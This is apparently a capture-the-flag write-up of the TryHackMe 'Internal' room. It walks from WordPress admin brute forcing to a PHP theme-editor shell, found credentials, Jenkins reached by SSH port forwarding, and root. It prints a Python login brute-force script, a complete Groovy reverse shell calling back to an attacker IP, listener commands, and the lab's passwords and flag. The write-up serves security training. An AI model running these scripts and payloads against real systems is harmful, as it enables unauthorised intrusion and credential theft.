The TryHackMe room "Internal" is a very good example of how realistic attack chains are built during internal penetration tests and Red Team engagements. Instead of relying on one extremely difficult exploit, the machine combines several smaller weaknesses including exposed administrative functionality, credential reuse, insecure internal services and trust relationships between systems.
What makes this room especially interesting is that almost every step depends on proper enumeration and understanding the environment instead of blindly throwing exploits at the target. The room rewards patience and methodology much more than brute force exploitation.
A Deceptively Quiet External Surface
After deploying the target machine, I started with a complete TCP port scan using Nmap.
nmap -sV -sC -T4 -p- <target ip>The scan identified only two externally accessible services.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))At first glance the machine looked fairly simple. SSH was exposed and the webserver displayed the default Apache Ubuntu page ("Apache2 Ubuntu Default Page: It works").
Machines that only expose a default Apache page often hide additional content behind directories or virtual hosts, so I added the target to /etc/hosts as internal.thm and started directory enumeration with Gobuster.
gobuster dir -u http://<target ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txtThe enumeration quickly revealed several interesting directories.
/blog
/wordpress
/phpmyadminEnumerating WordPress
At this point it became obvious that WordPress would likely become the primary attack surface. Instead of attacking immediately, I decided to enumerate the /blog instance properly using WPScan.
wpscan --url http://internal.thm/blog -e u,vp,vt --plugins-detection aggressive --detection-mode mixed --random-user-agentThe scan produced several useful findings immediately. XML-RPC was enabled, WordPress version 5.4.2 was outdated and the scanner was able to enumerate valid users successfully.
One of the most important findings was the discovery of the admin user.
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)This is actually a very realistic issue because many WordPress installations unintentionally expose usernames through RSS feeds, author pages or the REST API. Username enumeration dramatically simplifies password attacks because attackers no longer need to guess valid account names.
The WordPress REST API confirmed that user ID 1 belonged to the admin account.
http://internal.thm/blog/index.php/wp-json/wp/v2/users/1returned admin, while user ID 2 resulted in an invalid user response.
Another important finding was that XML-RPC was enabled.
[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.phpXML-RPC is frequently overlooked by administrators because it is required for mobile applications and remote publishing functionality. However, it also becomes a useful authentication attack surface when proper rate limiting and monitoring are missing.
Brute-Forcing the Admin Account
No vulnerable plugins or themes were identified during enumeration. That meant there was no obvious public RCE vulnerability available. Instead of wasting time searching exploit databases for unreliable CVEs, I shifted focus toward authentication attacks against the valid admin account.
Using WPScan against the XML-RPC endpoint with the rockyou.txt wordlist successfully identified valid credentials.
wpscan --url "http://internal.thm/blog/" -U "admin" -P /usr/share/wordlists/rockyou.txtAfter several thousand attempts WPScan found valid credentials.
[SUCCESS] - admin / my2boysThe credentials worked immediately against the standard WordPress login portal at http://internal.thm/blog/wp-login. At this point I had administrative access to WordPress.
Code Execution via the Theme Editor
Many people immediately jump to Metasploit or automated exploitation frameworks at this stage, but WordPress itself already provides everything needed for code execution. Inside the WordPress dashboard I navigated to Appearance -> Theme Editor.
The active theme was twentyseventeen. I edited the 404.php template and inserted a PHP reverse shell payload.
Before triggering execution I started a Netcat listener on my Kali machine.
nc -lvnp 6666Then I triggered the payload by browsing directly to the modified file.
http://internal.thm/blog/wp-content/themes/twentyseventeen/404.phpThe reverse shell connected back successfully.
uid=33(www-data) gid=33(www-data) groups=33(www-data)The shell initially lacked proper TTY functionality.
/bin/sh: 0: can't access tty; job control turned offThis is very common with basic reverse shells. To improve usability I upgraded the shell using Python PTY spawning.
python3 -c 'import pty; pty.spawn("/bin/bash")'Digging Through the Filesystem
With code execution established as www-data, the next step was local enumeration. WordPress configuration files are almost always worth checking because they commonly contain database credentials in plaintext.
Inside /etc/wordpress/config-localhost.php I discovered the following configuration.
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'wordpress123');
define('DB_HOST', 'localhost');The credentials worked successfully against phpMyAdmin at http://internal.thm/phpmyadmin. At this point it would have been easy to waste time digging through database tables unnecessarily. Instead, I focused on understanding the local machine and searching for additional attack surfaces.
A Service Hiding on Localhost
Running:
ss -tulpenrevealed several interesting locally bound services.
tcp LISTEN 0 128 127.0.0.1:8080A service listening only on localhost is often extremely valuable because external scans cannot see it. This is one of the biggest differences between external enumeration and post exploitation enumeration.
Checking the service headers with curl identified the service immediately.
curl -I http://127.0.0.1:8080The response clearly exposed Jenkins.
X-Jenkins: 2.250
Server: Jetty(9.4.30.v20200611)
X-Jenkins-CLI-Port: 50000At this point the room shifted from classic web exploitation into internal service discovery and pivoting.
Credential Reuse and a Docker Clue
While continuing local enumeration I found another very important file inside /opt.
cat /opt/wp-save.txtContents:
Bill, Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna:bubb13guM!@#123Credential reuse is extremely common in real world environments, so I immediately tested whether these credentials worked locally.
su aubreannaThe password worked successfully and I gained access as the aubreanna user. Inside Aubreanna's home directory I discovered a note related to Jenkins.
cat ~/jenkins.txtContents:
Internal Jenkins service is running on 172.17.0.2:8080At this point the architecture became much clearer. Running:
ifconfigrevealed the Docker bridge interface.
docker0 -> 172.17.0.1This strongly suggested that Jenkins was running inside a Docker container at 172.17.0.2. Understanding the architecture here is extremely important. The Jenkins service was not running directly on the host machine. Instead, it was isolated inside a Docker container and only reachable internally.
Reaching Jenkins Through Port Forwarding
To access Jenkins comfortably from my browser, I used SSH local port forwarding from my Kali machine.
ssh -N -L 8000:172.17.0.2:8080 aubreanna@10.113.132.226This forwarded the internal Jenkins service directly to my local machine. Browsing to http://127.0.0.1:8000 displayed the Jenkins login page successfully.
Initially I attempted brute force attacks using Hydra, but Jenkins redirects and session handling caused inconsistent results and multiple false positives. Instead of fighting Hydra syntax, I decided to write a small Python brute force script using the requests library.
import requests
import time
URL = "http://127.0.0.1:8000"
USER = "admin"
WORDLIST = "/usr/share/wordlists/rockyou.txt"
session = requests.Session()
with open(WORDLIST, "r", encoding="latin-1", errors="ignore") as f:
for i, password in enumerate(f, 1):
password = password.strip()
data = {
"j_username": USER,
"j_password": password,
"from": "/",
"Submit": "Sign in"
}
r = session.post(
f"{URL}/j_acegi_security_check",
data=data,
allow_redirects=True,
timeout=10
)
if "/loginError" not in r.url and "Invalid username or password" not in r.text:
print(f"[+] Treffer: {USER}:{password}")
print(f"[+] Final URL: {r.url}")
break
if i % 100 == 0:
print(f"[-] getestet: {i} | aktuell: {password}")
time.sleep(0.05)Running the script successfully identified valid Jenkins credentials.
admin:spongebobScript Console to Shell
After logging into Jenkins I navigated to /script, which exposed the Groovy Script Console. This functionality effectively provides arbitrary code execution as the Jenkins user. Jenkins Script Console access is incredibly dangerous because administrators often underestimate how powerful it actually is.
To obtain a reverse shell I started a listener on port 8888 and executed the following Groovy reverse shell payload.
String host="10.113.99.9";
int port=8888;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0) so.write(pi.read());
while(pe.available()>0) so.write(pi.read());
while(si.available()>0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try { p.exitValue(); break; } catch(Exception e){}
}
p.destroy();
s.close();The reverse shell connected successfully.
jenkins@jenkins:/$This confirmed that Jenkins was indeed running inside a Docker container. Containerized environments require a slightly different mindset because obtaining a shell inside a container does not automatically mean full host compromise. Additional enumeration is usually required to identify mounted volumes, leaked secrets or trust relationships with the host system.
The Note Inside the Container
While enumerating the container filesystem I discovered another note inside /opt/note.txt.
Aubreanna, Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you need access to the root user account.
root:tr0ub13guM!@#123This was the final piece of the attack chain. Using SSH with the recovered credentials granted full root access to the host machine.
ssh root@10.113.132.226Inside /root the final flag could be retrieved successfully: THM{d0ck3r_d3str0y3r}.
Final Thoughts
This room is an excellent demonstration of how modern compromises are often built through multiple smaller weaknesses instead of one massive vulnerability. The entire attack chain depended on proper enumeration, credential reuse, internal service discovery, Docker awareness and pivoting through trust relationships.
The room also demonstrates a very realistic security failure that appears constantly in real environments. Administrators often assume that internal services such as Jenkins are "safe enough" because they are only bound to localhost or hidden behind containers. Once an attacker gains even limited foothold on the host machine, those assumptions collapse immediately.